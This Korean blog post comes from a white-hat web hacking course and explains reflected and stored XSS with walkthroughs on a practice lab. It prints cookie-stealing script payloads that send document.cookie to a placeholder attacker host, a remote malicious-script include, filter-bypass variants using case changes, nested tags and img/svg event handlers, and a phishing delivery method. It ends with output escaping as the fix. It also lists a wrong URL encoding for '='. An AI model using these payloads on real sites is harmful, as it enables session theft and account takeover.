Covenant

본 포스트는 https://www.udemy.com/의 강좌 화이트헤커가 되기 위한 8가지 웹 해킹 기술 강좌를 바탕으로 작성했습니다.



XSS 자바스크립트와 밀접한 관련이 있기 때문에 자바스크립트를 먼저 알아 보자

자바스크립트란?

  • 애플리케이션에 사용되는 언어이다. 페이지 상에서 자바스크립트로 마우스를 메뉴바로 가져가면 메뉴의 색깔이 바뀌는 것을 구현한다.
  • <script> 스크립트 코드 </script> 같이 구현한다. 브라우저가 페이지를 읽다라가 스크립트 테그를 읽으면 태그 안에 스크릡트 코드를 읽는다.
  • 공격시 사용하는 자바스크립트 예제

<script>document.location='http://hacker.com/cookie?'+document.cookie</script>

쿠키를 빼올 상용하는 스크립트이다. 쿠키에는 세션 정보가 포함되어 있는데, document.cookie  읽을 있고, document.location으로 외부로 보낼 있다.

<script src=http://hacker.com/bad.js></script>

파일 인클루전 공격과 비슷하게 외부의 자바스크립트를 사용할 있따. 외부 해커 사이트에 올려둔 악성 js 가져올 있다.

 

XSS공격이란?

  • 크로스사이트스크립팅 공격은 자바 스크립트 같은 코드를 취약한 에플리케이션을 이용하는 다른 사용자에게 전달하여 클라이언트  브라우저를 공격하는 기법이다.
  • 안녕이라고 입력하면 안녕이라고 출력하는  에플리케이션이 있다고 하자. 아무 대응장치가 없으면 스크립트 코드와 함께 스크립트 코드를 입력하면 그대로 출력이된다. 스크립트 코드를 브라우저가 그대로 실행한다. 이렇게 스트립트 코드를 삽입하여 다른 사용자 브라우저에서 실행되게 하는것을 크로스사이트 스크립팅 공격이라고 한다.

해커는 어떤 사용자의 세션 쿠키를 알아내고 이것으로 웹에 접속하여 마치 사용자가 로그인한 것으로 접근할 수있다. 관리자 권한의 세션쿠키를 가져오면 관리자 권한으로 실행할 있다.

 

XSS공격 시나리오를 크게 2개로 구분할 있다.

[1]Reflected XSS공격

스크립트를 반사하기 때문에 붙여진  이름이다해커가 CSRF공격처럼 이메일로 사용자에게 메일을 보내 피싱한다. 세션 코드를 빼오는 스크립트 코드를 보낸다. 앵무새같은 애플리케이션이 스크립트 코드를 그대로 반사해서 스크립트 코드를 보낸다. 그러면 애플리케이션은 스크립트 코드를 반사시켜 그대로 되돌려준다. 그러면 브라우저는 그대로 스크립트 코드를 실행하고 해커는 세션 쿠키를 배달해 준다. 그러면 해커는 해당 사용자의 권한으로 웹사이트에 접속할 있다.

 

[2]Stored XSS공격 

스크립트 코드가 바로 반사되는 것이 아니라 한번 저장되었다가 실행된다. 해커가 피싱을 하는 것이 아닌 서버의 방명록이나 게시판에 남긴다. 스크립트 남기는 것이 허용이 되면 스크립트 코드를 남길 있다. 사용자가 해커가 남긴 글을 읽는다. 그러면 글에 저장된 스크립트 코드가 사용자에게 전달되고 실행된다. 사용자의 세션 쿠키가 해커에게 전달이 되는 것이다

  • 클라이언트 쪽의 웹브라우저를 공격하는 기법. 어떤 에플리케이션이 사용자가 입력받은 것을 그대로 웹페이지 표시되면 위험
  • 아무런 대응장치가 없으면 스크립트 코드를 입력하면 스크립트가 그대로 출력된다.

 

 

XSS 공격 실습

Reflected XSS

입력한 값이 리플랙티드 된 것이다.

스크립트 코드가 먹히는지 보기 위해서 <script>로 넣으면 된다.

입력 창에다가 <script>alert(1)</script> 입력한다.


1이 입력된 창이 뜬다.크로스사이트 취약점이 있으면 스크립트 코드가 실행된다.

스크립트가 리턴되어 실행되는 것을 XSS 공격이라고 한다.

 

<script>alert(document.cookie)</script>를 입력하면 쿠키의 값이 출력된다.

커멘드 창에서 tail -f /opt/lampp/logs/access_log (tail -f옵션을 주면 이후에 발생하는 로그가 뒤에 출력이 된다.) 입력

leafpad에서 <script>document.location='http://127.0.0.1/cookie?'+document.cookie</script> 를 입력한다.

document.location을 사용하면 뒤에 있는 주소로 리다이렉트를 시켜준다. document.cookie값을 찍어준다.

이를 사이트 입력창에다 넣으면 커멘드 창에 


 결과값이 찍힌다.

빼낸 쿠키를 해당 사용자의 권한으로 웹 사이트에 접속할 수 있다. 여기서 리다이렉트가 직접 되어서 사용자가 눈치 챘음을 알 수 있지만 실제 해킹에서는 아무 일도 없는 것처럼 만들 수 있다. 이는 자바스크립트로 만들 수 있다.

 

의문이 들 수 있다. 어떤 멍청한 사용자가 스크립트 코드를 직접 입력할까? 아무도 그렇게 입력하지 않을 것이다. 피싱을 통해서 사용자가 이를 모르게 입력하도록 만들어야 한다.


주소를 주의 깊게 보면 alice를 입력하면 주소창에 name=alice가 된다는 것을 알 수 있다.

해당 주소를 복사해서 공격하는 사용자에게 복사한 주소를 보낸다. name파라미터에 alice대신에 스크립트 파라미터를 입력한다.

Gmail을 이용할 때 ? =문자는 URL인코딩이라는 기법을 이용해서 인코딩을 해주어야 한다. URL인코딩이라는 것은 어떤 문자를 아스키값으로 변환하고 %를 붙여서 웹서버로 전송하고 웹서버는 이것을 디코딩해서 원래 문자로 인식하는 방법이다.

? 를 %3F로 바꾼다.

= 를 %2B 로 바꾼다.

 

 

스토어드 XSS

스크립트 코드가 서버에 저장된 후에 나중에 실행된다. 해커가 서버에 직접 스크립트 코드를 바로 삽입한다. 공격에 사용되는 스크립트 코드는 똑같다.

그런데 글자수 제한으로 복사했을 때 제한이 걸린다. 이는 입력창 -> 오른쪽 마우스 - > Inspect Element -> html textarea 태그의 maxlength max값을 수정하면 된다.

이렇게 글을 올리면 방명록에 접속하면 바로 이전 실습과 같은 결과가 나온다. 해커는 한번의 공격으로 다수의 사용자에게 공격할 수 있다.

 

Medium Level - XSS (Reflected)

<script>alert(1)</script> 해도 alert(1)이 출력이 된다. 스트립트가 string replace로 바꾸기 때문이다.. 다만 소문자만 처리하기 때문에 <SCRIPT>로 입력하면 가능하다. <scr<script>ipt> 

 

 

 

High Level


각 문자 사이에 시도되는 우회 공격도 방어하고 있다. 이런 경우 스크립트 태그 공격을 잘 막기 때문에 스크립트 태그 공격은 불가능하다.

그러나 크로스 사이트 스킙트 공격은 못하지만 html공격은 가능하다.

 

<img src=x onerror=window.location.assign("http://127.0.0.1/hacked.php")> 이렇게 악성 페이지로 간다.

 

SVG태그를 이용

<svg onload=window.location.assign("http://127.0.0.1/hacked.php")>를 입력하고 실행하면 hacked.php로 리다이렉트 된다.

특정 태그를 막는 방법으로만은 불완전한 대응방법이 될 수 있다.

 

공격 대응 - Impossible단계

공격 스크립트를 입력하면 입력한 스크립트가 그대로 나온다.


htmlspecialchars를 입력하여 특별한 문자를 변경한다. 기존의 특별한 기능은 수행하지 않는다. &lt 이런식으로 변경된다. 페이지 상에서 특수문자로 실행되지만 스크립트가 실행되지 않게 하는 원리이다.

특수문자를 이런 식으로 변환한다.